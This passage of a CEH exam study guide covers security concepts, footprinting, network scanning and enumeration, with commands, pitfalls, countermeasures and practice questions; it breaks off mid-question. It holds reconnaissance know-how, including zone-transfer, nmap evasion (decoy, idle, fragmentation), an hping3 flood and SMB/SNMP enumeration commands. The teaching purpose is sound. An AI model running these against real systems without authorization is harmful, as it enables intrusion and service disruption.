

CEH Study Material

Complete Notes — All 9 Domains, 154 Practice Questions

By Fahshad — [linkedin.com/in/fahshad-m-48134a1aa](https://www.linkedin.com/in/fahshad-m-48134a1aa)

How to Use This Guide

Each topic includes a **Core Concept** explanation, **Key Tools** and commands, **Common Pitfalls** to avoid, and a **Practice Question** with a detailed answer explanation. Content is organized by the 9 official CEH exam domains.

This is an independent study resource created for exam preparation. It is not affiliated with, endorsed by, or sponsored by EC-Council. CEH is a registered trademark of EC-Council.

Table of Contents

- 1.** Domain 1: Information Security and Ethical Hacking
- 2.** Domain 2: Reconnaissance Techniques
- 3.** Domain 3: System Hacking
- 4.** Domain 4: Network and Perimeter Hacking
- 5.** Domain 5: Web Application Hacking
- 6.** Domain 6: Wireless Network Hacking
- 7.** Domain 7: Mobile Platform, IoT, and OT Hacking
- 8.** Domain 8: Cloud Computing
- 9.** Domain 9: Cryptography

Domain 1: Information Security and Ethical Hacking Overview

Sub-Domain: Introduction to Ethical Hacking

Information Security Overview

Core Concept: Information security protects data confidentiality, integrity, and availability (the CIA triad). Attackers target weaknesses in these pillars to steal, alter, or deny access to information assets, making defense essential.

Key Tools: N/A (conceptual). For risk assessment, the NIST Risk Management Framework (RMF) is commonly used.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Students often confuse **authentication** (verifying identity) with **authorization** (granting access).
- EC-Council tests that **non-repudiation** is the assurance that a party cannot deny an action, not just logging.

Countermeasures: Implement defense-in-depth: administrative, technical, and physical controls layered to cover all CIA aspects.

Practice Question:

A company's database is encrypted and backed up daily. An attacker deletes the live data, but it is restored within minutes. Which security property was temporarily lost?

- A) Availability
- B) Integrity
- C) Non-repudiation

- D) Confidentiality

Answer: A -- Availability was lost because data was inaccessible until restored. (B: data was not altered, so integrity was intact; C: non-repudiation concerns proof of action, not access; D: no data was disclosed, so confidentiality was intact.)

Hacking Methodologies and Frameworks

Core Concept: Hacking frameworks provide a structured approach to penetration testing. Attackers follow phases: reconnaissance, scanning, gaining access, maintaining access, and clearing tracks. CEH emphasizes the CEH Hacking Methodology (5 phases) as the exam baseline.

Key Tools: N/A (methodology). The Penetration Testing Execution Standard (PTES) is a common framework.

Port Numbers & Protocols: N/A

Common Pitfalls:

- EC-Council's 5 phases are exactly: **Reconnaissance, Scanning, Gaining Access, Maintaining Access, Clearing Tracks.**
- Do not mix in "Reporting" or "Remediation" as a phase in the hacking methodology; those are part of the ethical hacking lifecycle but not the attacker's methodology.

Countermeasures: Understand the adversary's playbook to design controls aligned to each phase (e.g., minimize footprinting exposure, detect scanning, prevent privilege escalation).

Practice Question:

An ethical hacker completes network scanning and obtains a shell on the target. According to CEH's hacking methodology, which phase comes next?

- A) Reporting
- B) Reconnaissance
- C) Clearing Tracks
- D) Maintaining Access

Answer: D -- After gaining access, the next step is maintaining access (backdoors). (A is not part of the attacker's 5-phase methodology; B is the first phase; C is the last phase.)

Hacking Concepts

Core Concept: Hacking refers to exploiting vulnerabilities in systems to gain unauthorized access. Hackers are classified as:

- **Black Hat** -- malicious intent
- **White Hat** -- ethical, authorized testing
- **Gray Hat** -- borderline, may act without permission but without malicious intent

EC-Council also includes hacktivists and state-sponsored groups.

Key Tools: N/A (conceptual). Vulnerability scanners like Nessus are used by ethical hackers.

Port Numbers & Protocols: N/A

Common Pitfalls:

- A **vulnerability** is a weakness; an **exploit** is the code or technique that uses the weakness.
- A **threat** is the potential danger; a **risk** is the impact/likelihood.
- Script kiddies use pre-written tools but may not understand them.

Countermeasures: Ethical hacking uses the same tools as malicious hacking but within a legal framework with explicit written permission.

Practice Question:

An attacker discovers a SQL injection flaw in a web app and writes a script to extract user data. The SQL injection flaw is an example of a:

- A) Vulnerability
- B) Risk
- C) Exploit
- D) Threat

Answer: A -- The flaw is the vulnerability. (B combines probability and impact; C is the script that exploits it; D is the threat actor.)

Ethical Hacking Concepts

Core Concept: Ethical hacking is conducted with proper authorization to test systems' security posture. It follows strict rules of engagement, a defined scope, and ends with a report. An ethical hacker must keep data confidential and respect legal boundaries.

Key Tools: N/A (concept). Common testing frameworks: OSSTMM, PTES.

Port Numbers & Protocols: N/A

Common Pitfalls:

- The most important element is **written permission** (the "get out of jail free card").
- Testing without explicit authorization is illegal, even if the intent is good.
- A non-disclosure agreement (NDA) is mandatory before testing.

Countermeasures: Organizations should have a vulnerability management program that includes periodic ethical hacking engagements.

Practice Question:

A pen tester is hired to assess network security. The tester launches an attack that crashes the production server, causing outage. Legally, the tester is protected because:

- A) The tester had a written agreement and authorization
- B) The attack was in the scope
- C) The tester acted ethically
- D) The tester followed OSSTMM

Answer: A -- Written authorization (contract) provides legal protection. Scope alone does not cover negligence; ethical intent does not absolve liability; OSSTMM is a framework, not legal authority.

Information Security Controls

Core Concept: Controls are safeguards to mitigate risks. They are categorized as:

- **Physical** -- locks, guards
- **Technical** -- firewalls, encryption
- **Administrative** -- policies, training

They can also be classified by function: preventive, detective, deterrent, corrective, or compensating.

Key Tools: N/A (concept). Access control models: DAC, MAC, RBAC.

Port Numbers & Protocols: N/A

Common Pitfalls:

- **Preventive** controls stop incidents before they occur (e.g., firewall deny rule).
- **Detective** controls identify incidents (e.g., IDS alerts).
- **Deterrent** controls discourage (e.g., warning banners).
- **Corrective** controls restore after an incident (e.g., backups).
- **Compensating** controls are alternatives when primary control is not feasible.

Countermeasures: Implement defense-in-depth with multiple overlapping controls; regularly test controls via vulnerability assessments.

Practice Question:

A company installs a security camera at the server room entrance. This camera is primarily which type of control?

- A) Detective
- B) Deterrent
- C) Corrective
- D) Preventive

Answer: A -- A camera records activity to detect unauthorized access. It may also have a deterrent effect, but its primary function is detection (recording evidence).

Information Security Laws and Standards

Core Concept: Laws and standards govern data protection and cybercrime. Key regulations:

- **GDPR** -- EU privacy
- **HIPAA** -- US healthcare
- **PCI DSS** -- payment card security
- **SOX** -- financial integrity

ISO/IEC 27001 provides an Information Security Management System (ISMS) framework.

Key Tools: N/A. Compliance check: OpenSCAP can audit against standards (`oscap xccdf eval --profile <profile> <benchmark>`).

Port Numbers & Protocols: N/A

Common Pitfalls:

- PCI DSS is specifically for credit card data protection; it mandates encryption of cardholder data in transit and at rest.
- HIPAA protects health information.
- Know which regulation applies to which industry.

Countermeasures: Implement data classification, access controls, and encryption to meet legal/regulatory requirements; conduct regular compliance audits.

Practice Question:

A healthcare provider's database containing patient medical records is breached. Which regulation was primarily violated?

- A) PCI DSS
- B) SOX
- C) HIPAA
- D) GDPR

Answer: C -- HIPAA protects health information. (GDPR is European data privacy; PCI DSS is cardholder data; SOX is financial reporting integrity.)

Domain 2: Reconnaissance Techniques

Sub-Domain: Footprinting and Reconnaissance

Footprinting Concepts

Core Concept: Footprinting is the process of gathering as much information as possible about a target system or organization to find ways to infiltrate it. It is passive, non-intrusive, and uses publicly available data. Attackers use it to map the attack surface.

Key Tools: `whois` (domain info), `nslookup` (DNS queries), `theHarvester` (email gathering: `theHarvester -d target.com -b google`)

Port Numbers & Protocols: DNS (53), HTTP (80), HTTPS (443) -- used as information sources.

Common Pitfalls:

- Footprinting can be **passive** (no direct interaction with target network) or **active** (touching target, e.g., social engineering).
- EC-Council considers DNS queries passive reconnaissance even though they may touch the target's DNS server.

Countermeasures: Restrict public info: disable directory listings, use generic error pages, scrub metadata from documents, use DNS record obscurity, and train employees on social media risks.

Practice Question:

A penetration tester collects employee email addresses from Google, LinkedIn, and company website without sending any packets to the company's network. This activity is:

- A) Scanning
- B) Passive footprinting
- C) Active footprinting

- D) Enumeration

Answer: B -- No direct interaction with target network; passive. (A involves sending probes to the target; C involves direct contact, e.g., social engineering; D is more intrusive.)

Footprinting Methodology

Core Concept: The structured process includes: (1) Footprinting through search engines, (2) Footprinting through web services, (3) Website footprinting, (4) Email footprinting, (5) Whois footprinting, (6) DNS footprinting, (7) Network footprinting, (8) Social engineering.

Key Tools: Search engines with Google dorking, web services like Netcraft, Whois tools, DNS tools like `dig`.

Port Numbers & Protocols: DNS (53), HTTP/HTTPS (80/443).

Common Pitfalls:

- The order may be tested; they might ask what step comes after searching for employee emails (often DNS footprinting).
- The methodology is not perfectly linear but the exam expects the listed sequence.

Countermeasures: Organizations should limit information leakage at each phase: hide WHOIS info (private registration), sanitize DNS records, avoid exposing internal IPs in DNS, train employees.

Practice Question:

According to the CEH footprinting methodology, after performing Whois lookup, what is the immediate next step?

- A) DNS footprinting
- B) Email footprinting
- C) Footprinting through social networking sites
- D) Network footprinting

Answer: A -- The typical sequence is Whois then DNS footprinting.

Footprinting through Search Engines

Core Concept: Attackers use search engines (Google, Bing) with advanced operators (Google dorking) to uncover sensitive information accidentally exposed on the web, such as login pages, configuration files, or internal documents.

Key Tools: Google search operators like `site:target.com filetype:pdf`, `intitle:"index of"`, `inurl:admin`. Shodan (`shodan host <IP>`).

Port Numbers & Protocols: N/A

Common Pitfalls:

- Google hacking database (GHDB) is a collection of dork queries.
- `inurl:` finds pages with a specific word in the URL; `intitle:` finds in the title.
- `cache:` shows cached version of a page.

Countermeasures: Use robots.txt to disallow sensitive directories (but it is not a security control), enforce authentication, remove sensitive data from public-facing content.

Practice Question:

An attacker searches for `"site:example.com intitle:'index of' 'backup.sql'"`. What is the attacker looking for?

- A) SQL injection vulnerabilities
- B) WordPress admin panel
- C) Directory listing of backup database files
- D) DNS zone transfer

Answer: C -- The query reveals directories with backup SQL files.

Footprinting through Web Services

Core Concept: Using online services to gather information about target domain, IP ranges, and infrastructure. These include Netcraft (server details, uptime), Shodan (IoT/devices), Censys, and Archive.org (Wayback Machine) to view historical versions of websites.

Key Tools: Netcraft site report (`https://sitereport.netcraft.com/?url=target.com`), Shodan search, Censys search, theHarvester, SpiderFoot (`spiderfoot -s target.com`).

Port Numbers & Protocols: N/A

Common Pitfalls:

- The Wayback Machine (Archive.org) can reveal old versions of a site that may contain sensitive data or forgotten admin panels.

Countermeasures: Regularly review archived snapshots and request removal of sensitive content; avoid exposing internal info on public sites.

Practice Question:

An organization removed its "/partners" login page after a security review. An attacker uses what service to potentially view the removed page?

- A) The Wayback Machine
- B) Google Dorking
- C) Shodan
- D) Netcraft

Answer: A -- Archive.org stores historical page snapshots.

Footprinting through Social Networking Sites

Core Concept: Attackers scrape social media (LinkedIn, Facebook, Twitter) to gather employee names, roles, email addresses, organizational structure, and even technical details from posts. This aids in social engineering and password guessing.

Key Tools: theHarvester (`theHarvester -d target.com -b linkedin`), Creepy (geolocation data), Maltego (graphical mapping of relationships).

Port Numbers & Protocols: N/A

Common Pitfalls:

- LinkedIn is heavily emphasized. Attackers can identify job postings listing technologies used (e.g., "need Cisco admin") to map the infrastructure.

- Employees posting "first day at X" reveals new hires ripe for social engineering.

Countermeasures: Enforce social media policy, restrict sharing of work details, conduct awareness training, and use privacy settings.

Practice Question:

A hacker searches LinkedIn for employees at a company and finds a network engineer listing his CCNA certification. How can the attacker exploit this?

- A) Password cracking
- B) DNS zone transfer
- C) ARP poisoning
- D) Spear-phishing with a Cisco-themed email

Answer: D -- Knowing the person's role and technology enables targeted phishing.

Website Footprinting

Core Concept: Analyzing the target's website to extract information like technologies used, hidden directories, comments in source code, robots.txt, and sitemap. This reveals web server type, CMS, frameworks, and potentially sensitive internal links.

Key Tools: `wget` (`wget -r target.com`), HTTrack (clone website), WhatWeb (`whatweb target.com`), browser dev tools to view source.

Port Numbers & Protocols: HTTP (80), HTTPS (443).

Common Pitfalls:

- Examining robots.txt might reveal hidden/admin directories, but it is not a security control; attackers check it first.
- Comments in HTML may contain database names, passwords left by developers.

Countermeasures: Remove developer comments, restrict access to admin panels, use generic error pages, and do not rely on robots.txt for security.

Practice Question:

A penetration tester finds the line `<!-- connection string: server=db01; uid=admin; pwd=password -->` in a web page source. What should the organization do?

- A) Use HTTPS
- B) Implement CAPTCHA
- C) Disable directory listing
- D) Delete the comment and change credentials

Answer: D -- The comment exposes database credentials; immediate removal and credential rotation needed.

Email Footprinting

Core Concept: Gathering email addresses of employees to launch phishing attacks or guess usernames. Attackers use tools to harvest addresses from web searches, WHOIS, and public mailing lists. They can also trace email headers to map internal servers and IPs.

Key Tools: Email extractor tools, `theHarvester -d domain.com -b all`, email tracking services (like readnotify). Analyzing headers manually: examine "Received:" lines.

Port Numbers & Protocols: SMTP (25), POP3 (110), IMAP (143).

Common Pitfalls:

- Email header analysis can reveal the originating IP, internal server names, and email client.
- Bounce messages may leak internal info.

Countermeasures: Implement email filtering, remove internal IPs from headers (use SMTP gateway rewriting), train users to avoid posting corporate emails publicly.

Practice Question:

An attacker receives an email from target.com and examines the header: `"Received: from mail.internal.target.com ([192.168.10.25])"`. What information can be inferred?

- A) The email was encrypted
- B) Internal hostname and private IP address
- C) The email is a phishing attempt

- D) The email server is vulnerable to relay

Answer: B -- The header reveals internal naming and IP scheme, aiding network footprinting.

Whois Footprinting

Core Concept: Querying WHOIS databases to obtain domain registration information: owner, administrative/technical contacts, email, phone, DNS servers, and registration dates. Used to map key personnel and network infrastructure.

Key Tools: `whois target.com` (Linux command), online whois services (whois.domaintools.com).

Port Numbers & Protocols: TCP 43 (WHOIS protocol).

Common Pitfalls:

- If private registration is used, the registrar's info is displayed instead of the actual owner.
- Even with private registration, the DNS servers listed can be used for further footprinting.

Countermeasures: Enable domain privacy/WHOIS protection to hide registrant details. However, DNS server names are still visible.

Practice Question:

An ethical hacker runs `whois example.com` and gets no registrant email but sees "ns1.example.com" and "ns2.example.com". What can still be done?

- A) Contact the registrar for the email
- B) Report to law enforcement
- C) Use the DNS servers for DNS footprinting
- D) No further action possible

Answer: C -- DNS server names are public and can be queried for zone information or IP.

DNS Footprinting

Core Concept: Querying DNS servers to obtain information about the target's domain, including A, MX, NS, CNAME, SOA records. Attackers attempt zone transfers (if misconfigured) to list all records, revealing internal IPs and hostnames.

Key Tools: `nslookup` (`nslookup -type=any target.com`), `dig` (`dig axfr @ns-server target.com`), DNSRecon (`dnsrecon -d target.com -t axfr`), dnsenum.

Port Numbers & Protocols: DNS uses TCP/UDP 53; zone transfer uses TCP 53.

Common Pitfalls:

- A successful zone transfer (AXFR) dumps all DNS records, giving the attacker a complete map of subdomains and internal IPs.
- `dig -t AXFR` is a must-know command.

Countermeasures: Restrict zone transfers only to authorized secondary DNS servers, use split DNS (internal vs external views).

Practice Question:

A penetration tester runs `dig axfr @ns1.target.com target.com` and receives a list of all hostnames and IP addresses. This indicates:

- A) The DNS server is poisoned
- B) Zone transfer is allowed
- C) DNS cache snooping is enabled
- D) The server is patched

Answer: B -- The command attempts a zone transfer, and success indicates misconfiguration.

Network Footprinting

Core Concept: Mapping the target's network range, subnets, and network topology using information from ARIN/RIPE, traceroute, and autonomous system (AS) lookups. This provides the attacker with IP blocks to scan.

Key Tools: `tracert` (Windows), `traceroute` (Linux), ARIN whois (`whois -h whois.arin.net <IP>`), Robtex, NeoTrace (graphical).

Port Numbers & Protocols: ICMP for traceroute; UDP high ports for traceroute default; TCP 80/443 can be used with traceroute options.

Common Pitfalls:

- Traceroute uses TTL expired messages; blocking ICMP can disrupt traditional traceroute.
- Attackers can use TCP traceroute on port 80/443 to bypass filters.
- Regional internet registries (RIRs) allocate IP blocks; footprinting includes IP block range discovery.

Countermeasures: Filter ICMP time-exceeded at border, but that may break normal operation. Use firewall rules to limit exposure of internal router IPs.

Practice Question:

A target network blocks ICMP packets. How can an attacker still perform a traceroute to discover network hops?

- A) Use ARP requests
- B) Use UDP traceroute
- C) Use DNS zone transfer
- D) Use TCP traceroute on port 80

Answer: D -- TCP traceroute (e.g., `traceroute -T -p 80 target.com`) uses TCP SYN packets, bypassing ICMP filters.

Footprinting through Social Engineering

Core Concept: Using human interaction to collect information. Attackers may call employees pretending to be tech support, send phishing emails, or use physical methods (dumpster diving) to extract network details, credentials, or internal documentation.

Key Tools: No specific tool; techniques include pretexting, tailgating, shoulder surfing. Social Engineering Toolkit (SET) automates phishing campaigns (`setoolkit`).

Port Numbers & Protocols: N/A

Common Pitfalls:

- Social engineering is considered an **active** footprinting technique because it involves direct interaction with the target organization.
- EC-Council distinguishes technical from human-based social engineering.
- Dumpster diving is a physical form of information gathering.

Countermeasures: Security awareness training, strict verification procedures for information disclosure, clean desk policy, shredding sensitive documents.

Practice Question:

An attacker calls an employee, claiming to be from the IT help desk, and asks for the employee's username and password to "fix an account issue." This is an example of:

- A) Pretexting
- B) Dumpster diving
- C) Shoulder surfing
- D) Tailgating

Answer: A -- Pretexting involves creating a false scenario to trick the target.

Footprinting Tools

Core Concept: A suite of automated tools helps aggregate footprinting information. These include passive reconnaissance tools and frameworks that combine multiple data sources.

Key Tools:

- **Maltego** -- graphical link analysis for relationships (launches GUI)
- **Recon-ng** -- module-based (`recon-ng` , then use module)
- **FOCA** -- metadata extraction (`FOCA.exe`)
- **theHarvester** -- email/subdomain gathering
- **OSINT Framework** -- web-based
- **SpiderFoot** (`spiderfoot -s target.com`)

Port Numbers & Protocols: N/A

Common Pitfalls:

- **theHarvester** is specifically for gathering email addresses and subdomains from public sources.
- **FOCA** is for metadata extraction from documents.
- **Maltego** is for link analysis of people, domains, networks.

Countermeasures: Disable access to metadata in public documents, use Data Loss Prevention (DLP) systems to monitor sensitive data leakage.

Practice Question:

A security analyst wants to automatically gather email addresses, employee names, and subdomains from multiple search engines. Which tool is best suited?

- A) Wireshark
- B) John the Ripper
- C) Nmap
- D) theHarvester

Answer: D -- theHarvester is purpose-built for that task.

Footprinting Countermeasures

Core Concept: Prevent information leakage by limiting publicly available data, training employees, and implementing technical controls. The goal is to reduce the attack surface discovered during reconnaissance.

Key Tools: N/A. Practices include using domain privacy, disabling zone transfers, removing metadata from documents, configuring web servers to hide version info, and employing social media guidelines.

Port Numbers & Protocols: N/A

Common Pitfalls:

- To prevent Google dorking, use robots.txt but better to avoid exposing sensitive content.
- To prevent Whois info leakage, enable domain privacy.

- To prevent DNS zone transfers, restrict AXFR.

Countermeasures: Implement all technical and administrative controls across each footprinting vector. Regularly search for your own organization's exposed data.

Practice Question:

Which is the best defense against an attacker using theHarvester to collect corporate email addresses?

- A) Use strong passwords
- B) Restrict email addresses published on public websites and social media
- C) Implement a firewall
- D) Disable ICMP

Answer: B -- Removing public email addresses prevents harvesting.

Sub-Domain: Scanning Networks

Network Scanning Concepts

Core Concept: Network scanning discovers live hosts, open ports, and services. It bridges footprinting and enumeration. Key concepts include the TCP three-way handshake (SYN, SYN/ACK, ACK), scan types (SYN stealth, full connect, Xmas, NULL, FIN), and IDS evasion. ICMP ping sweep, TCP ping, and UDP scanning (slow and unreliable because UDP is connectionless) are fundamental techniques.

How It Works:

1. **Host discovery** -- which IPs are alive, using ICMP echo requests or TCP SYN to common ports.
2. **Port scanning** -- find open ports by sending probes; SYN scan sends SYN, if SYN/ACK received the port is open, RST received means port closed; no response or ICMP unreachable means filtered.
3. **Service and version detection** (banner grabbing).

Key Tools: Nmap (`nmap -sS -p 1-1000 192.168.1.0/24` for SYN stealth scan), Hping3 (`hping3 -S -p 80 10.0.0.1`), NetScanTools Pro, Angry IP Scanner.

Port Numbers & Protocols: FTP 21, SSH 22, Telnet 23, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389.

Common Pitfalls:

- **TCP Full Connect** (`-sT`) completes the handshake (logged by apps).
- **Stealth SYN** (`-sS`) is half-open, not logged by some apps.
- **UDP scan** (`-sU`) is slow; open ports may not reply, closed ports get ICMP port unreachable.

Countermeasures: Firewalls filter and limit ICMP, IDS/IPS detect rapid connections, use of port knocking.

Practice Question:

A security analyst runs `nmap -sS -p 22,80,443 10.10.10.5` and sees: `22/tcp open` , `80/tcp filtered` , `443/tcp closed` . What does "filtered" indicate?

- A) The port is open but firewall blocks access to the scanner
- B) The service is disabled
- C) Nmap cannot determine if the port is open because no response was received
- D) The host is down

Answer: C -- "Filtered" means a firewall dropped the probe, so Nmap could not confirm open/closed.

Scanning Tools

Core Concept: Nmap is the industry standard for port scanning and host discovery. Other tools include Hping3 for packet crafting, Netcat for banner grabbing, Masscan for ultra-fast scanning. Nmap's scripting engine (NSE) extends functionality for vulnerability detection.

Key Tools:

- **Nmap:** `nmap -sV -O 192.168.1.1` (version and OS detection)
- **Netcat:** `nc -nv 10.0.0.1 80` then `HEAD / HTTP/1.0` (banner grab)

- **Hping3:** `hping3 -S -p 80 --flood target` (DoS testing)
- **Masscan:** `masscan -p80,443 10.0.0.0/8 --rate=10000` (fast scan of large ranges)

Port Numbers & Protocols: N/A (uses standard ports)

Common Pitfalls:

- Nmap options: `-sS` SYN scan, `-sT` TCP connect, `-sU` UDP scan, `-sv` version, `-O` OS detection, `-Pn` skip host discovery, `-p` port range.
- Nmap NSE uses `--script` option (e.g., `--script=http-headers`).
- Nmap output states: open, closed, filtered, open|filtered (UDP).
- Hping3 can bypass some firewall rules by using fragment packets.

Countermeasures: Use IDS/IPS with updated signatures, configure firewalls to limit scan responses.

Practice Question:

To perform a UDP scan on the top 100 ports and avoid sending any ICMP ping, which Nmap command should be used?

- A) `nmap -sU -F 192.168.1.1`
- B) `nmap -sS -Pn 192.168.1.1`
- C) `nmap -sT -p 1-100 192.168.1.1`
- D) `nmap -sU -Pn --top-ports 100 192.168.1.1`

Answer: D -- `-sU` for UDP, `-Pn` to skip host discovery, `--top-ports 100` for most common ports.

Host Discovery

Core Concept: Host discovery identifies live systems on a network. Techniques include ICMP ping sweep, TCP SYN/ACK ping, UDP ping, and ARP scan (on local network). Nmap's default uses ICMP echo and TCP SYN to port 443. Blocking ICMP is common, so TCP probes are more reliable.

Key Tools:

- **Nmap:** `nmap -sn 192.168.1.0/24` (ping scan, host discovery only)

- **arp-scan:** `arp-scan --localnet`
- **fping:** `fping -g 192.168.1.0/24` (mass ping)

Port Numbers & Protocols: N/A

Common Pitfalls:

- `-sn` disables port scan after discovery.
- `-Pn` skips host discovery entirely (assumes all hosts up).
- ARP scan only works on the local subnet (same broadcast domain).
- TCP SYN ping uses port 80 by default; can be changed with `-PS`.

Countermeasures: Use network segmentation and monitor for unusual scan patterns.

Practice Question:

An internal penetration tester wants to discover all live hosts on the local Ethernet without sending any IP packets. Which Nmap option is best?

- A) `nmap -sP 192.168.1.0/24`
- B) `nmap -Pn 192.168.1.0/24`
- C) `nmap -sn -PR 192.168.1.0/24`
- D) `nmap -sn -PS 192.168.1.0/24`

Answer: C -- `-PR` performs ARP scan, which uses Layer 2 ARP requests, not IP packets.

Port and Service Discovery

Core Concept: Port scanning reveals which TCP/UDP ports are open. Service discovery identifies the application and version behind the port, often by banner grabbing or sending specific probes. This enables vulnerability mapping.

Key Tools:

- **Nmap:** `nmap -sV -p 21,22,80 10.0.0.1` (version detection)
- **Nmap scripts:** `--script=banner`
- **Netcat:** `nc -v target 22` (banner grab)
- **Amap:** `amap -b 10.0.0.1 80` (application mapper)

Port Numbers & Protocols: Common service ports (21, 22, 23, 25, 53, 80, 443, etc.)

Common Pitfalls:

- Banner grabbing is active reconnaissance.
- Version detection can be intrusive.
- Nmap `-sV --version-intensity 0-9` controls intensity.
- `-A` enables OS and service detection.
- An open port does not guarantee the service is the standard one.

Countermeasures: Disable banners, use banners with generic information, keep services updated.

Practice Question:

An Nmap scan shows port 8080 as open with "http-proxy" service. To manually verify, what command would an attacker likely use?

- A) `nslookup 8080`
- B) `tracert -p 8080`
- C) `telnet 10.0.0.1 8080` then `HEAD / HTTP/1.0`
- D) `ping 8080`

Answer: C -- Connecting with telnet or netcat and sending an HTTP request banner-grabs the response.

OS Discovery (Banner Grabbing/OS Fingerprinting)

Core Concept: OS fingerprinting determines the operating system of a target by analyzing network responses (TTL, TCP window size, IP ID sequence). Active fingerprinting sends crafted packets and compares to a signature database; passive fingerprinting observes traffic without sending packets.

Key Tools:

- **Nmap:** `nmap -O 10.0.0.1` (OS detection; requires at least one open and one closed port)
- **p0f:** `p0f -i eth0` (passive, listens)

- **Netcat** for banner grabbing: `nc 10.0.0.1 22`

Port Numbers & Protocols: N/A

Common Pitfalls:

- TTL values: Linux/Unix 64, Windows 128, Cisco 255.
- Nmap `-o` requires at least one open TCP port and one closed TCP port to build fingerprint.
- Passive fingerprinting cannot be detected.

Countermeasures: Modify TTL, use a firewall proxy to hide real OS.

Practice Question:

A security analyst runs `nmap -o 192.168.1.100` and gets: "OS details: Linux 2.6.32 -- 3.10". The scan also shows port 22/tcp open and 23/tcp closed. Why did it succeed?

- A) Because the host responded to ICMP
- B) Because the target runs Linux
- C) Because port 23 was open
- D) Because at least one open and one closed port were found

Answer: D -- Nmap's OS detection needs both an open and a closed TCP port to differentiate implementations.

Scanning Beyond IDS and Firewall

Core Concept: Attackers use evasion techniques to avoid detection by IDS/IPS and bypass firewall rules. Methods include packet fragmentation, decoy scanning, source port manipulation, idle scan, timing adjustments, and using proxies.

Key Tools:

- **Nmap fragmentation:** `-f` (fragment packets), `--mtu`
- **Decoy:** `-D decoy1,decoy2,ME`
- **Idle scan:** `-sI zombie_ip`
- **Timing:** `-T0` (paranoid) to `-T5` (insane)
- **Source port:** `--source-port 53`

Port Numbers & Protocols: N/A

Common Pitfalls:

- Idle scan is completely silent from attacker's real IP; requires a zombie with sequential IP ID generation.
- Nmap decoy scan: the real attacker IP is still in the list, but target sees many IPs.
- `--data-length` appends random data to avoid signature detection.

Countermeasures: IDS that does packet reassembly, stateful firewalls that detect decoys by mismatched TCP sequence numbers.

Practice Question:

An attacker wants to scan a target without revealing his own IP. He identifies a zombie host 10.0.0.50 with predictable IP IDs. Which Nmap scan accomplishes this?

- A) `nmap -D 10.0.0.50 10.10.10.10`
- B) `nmap -sS 10.0.0.50`
- C) `nmap -sI 10.0.0.50 10.10.10.10`
- D) `nmap -sA 10.10.10.10`

Answer: C -- `-sI` idle scan uses the zombie to scan the target; the target sees the zombie's IP.

Network Scanning Countermeasures

Core Concept: Defense against scanning includes properly configuring firewalls, using IDS/IPS to alert on scan patterns, disabling unnecessary services, employing port knocking, and filtering ICMP. The goal is to reduce information leakage and slow down attackers.

Key Tools:

- **iptables:** `iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP` (drop NULL scans)
- **Snort:** `alert tcp any any -> any 80 (msg:"SYN scan"; flags:S; threshold: type both, track by_src, count 20, seconds 5;)`
- **PortSentry** (detects and blocks scanning IPs)

Port Numbers & Protocols: N/A

Common Pitfalls:

- Blocking ICMP echo requests only prevents ping sweep, not TCP scans.
- The best defense is closing all unnecessary ports and using IDS.
- A closed port sends RST; an open port completes handshake; a firewall that drops packets prevents open ports from being distinguished from filtered.

Countermeasures: Rate limiting scan responses, detecting NULL/Xmas scans, and deploying IDS/IPS.

Practice Question:

Which firewall rule would best thwart a TCP NULL scan?

- A) Drop all ICMP echo requests
- B) Drop SYN packets
- C) Allow all TCP traffic
- D) Drop packets with no TCP flags set

Answer: D -- NULL scan sends packets with no flags; dropping them prevents response.

Sub-Domain: Enumeration

Enumeration Concepts

Core Concept: Enumeration is the process of extracting valid accounts, shared resources, and application details from a system. It is active and more intrusive than scanning, establishing connections to services. Attackers use it to find user names, group memberships, network shares, and SNMP data.

Key Tools:

- **enum4linux:** `enum4linux -U -S target` (user and share enumeration)
- **SMBclient:** `smbclient -L //target -N` (list shares)

- **Nmap NSE scripts:** `nmap --script=smb-enum-shares,smb-enum-users -p445 target`
- **SNMPwalk:** `snmpwalk -c public -v1 target`
- **LDAPsearch:** `ldapsearch -x -h target -b "dc=domain,dc=com"`

Port Numbers & Protocols: NetBIOS 137-139, SMB 445, LDAP 389, SNMP 161.

Common Pitfalls:

- Enumeration uses valid connections, so it is logged.
- Windows SMB null sessions (NetBIOS port 139 and SMB 445) are a primary vector.
- Countermeasure: Disable SMBv1, restrict null sessions, use SNMPv3 with authentication, and lock out accounts after failed attempts.

Practice Question:

An attacker establishes a null session to a target's port 445 and lists user accounts. Which service was exploited?

- A) Telnet
- B) SMB
- C) LDAP
- D) SNMP

Answer: B -- Null session is an unauthenticated connection to Windows SMB service on port 445 (or 139).

NetBIOS Enumeration

Core Concept: NetBIOS over TCP/IP (NBT) allows legacy Windows systems to share resources. Attackers use NetBIOS name lookups and null sessions to retrieve the NetBIOS name table, list domain names, and enumerate shares and users.

Key Tools:

- **nbtstat:** `nbtstat -A 192.168.1.10` (reveals names and services)
- **Net view:** `net view \\192.168.1.10` (list shares)
- **Nmap:** `nmap -sU -p 137 --script nbstat.nse target`

Port Numbers & Protocols: NetBIOS name service 137, datagram 138, session 139. Direct SMB uses port 445.

Common Pitfalls:

- nbtstat output flags: `<00>` workstation service, `<20>` file server service, `<03>` messenger (username).
- EC-Council often asks about `nbtstat -a <name>` VS `-A <IP>`.

Countermeasures: Disable NetBIOS over TCP/IP if not needed, or block ports 137-139 at firewall.

Practice Question:

An attacker runs `nbtstat -A 10.0.0.5` and sees `<00> UNIQUE`, `<20> UNIQUE`, `<03> UNIQUE`. What can be concluded?

- A) The system is a file server with a user logged in
- B) The system has port 445 closed
- C) The system is a domain controller
- D) The system is a Linux machine

Answer: A -- `<20>` indicates file sharing service; `<03>` indicates the messenger service user.

SNMP Enumeration

Core Concept: SNMP (Simple Network Management Protocol) allows management of network devices. Attackers exploit default community strings (public/private) to read device configurations, user accounts, and network information.

Key Tools:

- **snmpwalk:** `snmpwalk -c public -v1 10.0.0.1` (walks entire MIB tree)
- **snmpcheck:** `snmp-check 10.0.0.1 -c public`
- **Nmap:** `nmap -sU -p 161 --script=snmp* 10.0.0.1`
- **Onesixtyone:** fast SNMP community string scanner

Port Numbers & Protocols: UDP 161 (SNMP).

Common Pitfalls:

- Community strings: **public** (read-only), **private** (read-write).
- SNMPv1/v2c send community strings in clear text; SNMPv3 encrypts.
- The specific countermeasure is to use SNMPv3, restrict to specific IPs, and use complex community strings.

Practice Question:

A penetration tester scans the target with `nmap -sU -p 161 --script snmp-info` and finds a device with community string "public". What risk does this pose?

